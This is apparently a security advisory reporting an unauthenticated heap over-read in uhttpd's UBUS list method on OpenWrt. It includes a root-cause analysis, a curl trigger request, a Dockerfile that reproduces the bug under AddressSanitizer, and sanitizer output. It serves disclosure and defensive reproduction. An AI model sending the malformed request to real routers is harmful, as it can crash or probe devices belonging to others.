Unauthenticated UBUS list heap buffer over-read
Summary
The legacy JSON-RPC list method exposed by uhttpd's UBUS plugin accepts array members without validating that they are strings. An unauthenticated request containing "params":[null] causes a zero-length blob payload to be passed to ubus_lookup() as a NUL-terminated object path. ubus_lookup() eventually calls strlen() and reads beyond the duplicated heap allocation.
AddressSanitizer reliably detects the heap-buffer-over-read and terminates uhttpd. A stock OpenWrt musl build did not crash during a single-request test, so the confirmed impact is an out-of-bounds heap read; reliable denial of service on production firmware has not been established.
Root cause
RPC_PARAMS deliberately accepts any blob type because the call and list methods use different parameter shapes:
[RPC_PARAMS] = { .name = "params", .type = BLOBMSG_TYPE_UNSPEC },
The list path duplicates the supplied array and forwards every member to ubus_lookup() without checking its type:
__blob_for_each_attr(cur, blobmsg_data(dup), rem)
ubus_lookup(ctx, blobmsg_data(cur), uh_ubus_list_cb, &data);
File: ubus.c:676-682
For a JSON null array member, blobmsg_data(cur) is not a valid NUL-terminated string. ubus_lookup() treats the pointer as an object path and passes it to blob_put_string(), which calls strlen() beyond the end of the heap allocation.
Reproduction
Copy the inline Dockerfile below into an empty directory as Dockerfile, then run this single command:
docker build --pull --no-cache --progress=plain -t uhttpd-ubus-oob-repro .
The Dockerfile automatically pulls the current upstream HEAD of uhttpd, libubox, ubus, and ustream-ssl; compiles the dependencies and uhttpd with AddressSanitizer; starts an isolated ubusd and uhttpd instance; sends the unauthenticated request; prints the sanitizer report; and fails the build unless both AddressSanitizer: heap-buffer-overflow and uh_ubus_send_list appear in the log.
The request generated inside the container is equivalent to:
curl --http1.1 -i -X POST 'http://127.0.0.1:PORT/ubus' -H 'Content-Type: application/json' --data-binary '{"jsonrpc":"2.0","id":1,"method":"list","params":[null]}'
Expected output includes:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
#0 strlen
#1 blob_put_string .../libubox/blob.h:209
#2 ubus_lookup .../ubus/libubus.c:187
#3 uh_ubus_send_list .../uhttpd/ubus.c:682
0x503000000208 is located 0 bytes after 24-byte region
allocated by:
#0 malloc
#1 blob_memdup .../libubox/blob.c:343
SUMMARY: AddressSanitizer: heap-buffer-overflow in strlen
This confirms that the read begins immediately after the duplicated 24-byte heap allocation.
Complete self-contained Dockerfile
FROM debian:trixie-slim
SHELL ["/bin/bash", "-o", "pipefail", "-c"]
RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
build-essential ca-certificates cmake curl git libjson-c-dev libssl-dev pkg-config && \
rm -rf /var/lib/apt/lists/*
WORKDIR /src
# --no-cache on docker build makes these shallow clones fetch current upstream HEAD.
RUN git clone --depth=1 https://git.openwrt.org/project/libubox.git && \
git clone --depth=1 https://git.openwrt.org/project/ubus.git && \
git clone --depth=1 https://git.openwrt.org/project/ustream-ssl.git && \
git clone --depth=1 https://git.openwrt.org/project/uhttpd.git
RUN cmake -S libubox -B build/libubox \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_INSTALL_PREFIX=/opt/openwrt \
-DBUILD_LUA=OFF -DBUILD_EXAMPLES=OFF && \
cmake --build build/libubox -j"$(nproc)" && \
cmake --install build/libubox
RUN cmake -S ubus -B build/ubus \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_INSTALL_PREFIX=/opt/openwrt \
-DCMAKE_PREFIX_PATH=/opt/openwrt \
-DBUILD_LUA=OFF -DBUILD_EXAMPLES=OFF && \
cmake --build build/ubus -j"$(nproc)" && \
cmake --install build/ubus
RUN cmake -S ustream-ssl -B build/ustream-ssl \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_INSTALL_PREFIX=/opt/openwrt \
-DCMAKE_PREFIX_PATH=/opt/openwrt \
-DCMAKE_INSTALL_RPATH=/opt/openwrt/lib && \
cmake --build build/ustream-ssl -j"$(nproc)" && \
cmake --install build/ustream-ssl
# uhttpd adds -Os itself. Replace it with -O0 so the sanitizer trace is clear.
RUN sed -i 's/ -Os / -O0 /' uhttpd/CMakeLists.txt && \
cmake -S uhttpd -B build/uhttpd \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_PREFIX_PATH=/opt/openwrt \
-DCMAKE_BUILD_RPATH='/src/build/uhttpd;/opt/openwrt/lib' \
-DTLS_SUPPORT=ON -DLUA_SUPPORT=OFF -DUBUS_SUPPORT=ON -DUCODE_SUPPORT=OFF \
-DCMAKE_C_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address' \
-DCMAKE_MODULE_LINKER_FLAGS='-fsanitize=address' && \
cmake --build build/uhttpd -j"$(nproc)"
ENV LD_LIBRARY_PATH=/src/build/uhttpd:/opt/openwrt/lib
# Reproduction is part of the image build. The layer succeeds only if ASan
# reports the expected heap-buffer-overflow in uh_ubus_send_list().
RUN set -u; \
/opt/openwrt/sbin/ubusd -s /tmp/ubus.sock >/tmp/ubusd.log 2>&1 & ubusd_pid=$!; \
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 timeout 8s /src/build/uhttpd/uhttpd -f \
-p 127.0.0.1:18080 -h /tmp -u /ubus -U /tmp/ubus.sock >/tmp/uhttpd.log 2>&1 & uhttpd_pid=$!; \
sleep 1; \
curl --http1.1 -sS -i -X POST http://127.0.0.1:18080/ubus \
-H 'Content-Type: application/json' \
--data-binary '{"jsonrpc":"2.0","id":1,"method":"list","params":[null]}' || true; \
wait "$uhttpd_pid" || true; \
kill "$ubusd_pid" 2>/dev/null || true; \
cat /tmp/uhttpd.log; \
grep -q 'ERROR: AddressSanitizer: heap-buffer-overflow' /tmp/uhttpd.log; \
grep -q 'uh_ubus_send_list' /tmp/uhttpd.log
I verified this Docker build against the latest upstream repositories. It reproduced the over-read at uhttpd/ubus.c:682, with the invalid read occurring immediately after the 24-byte allocation created by blob_memdup().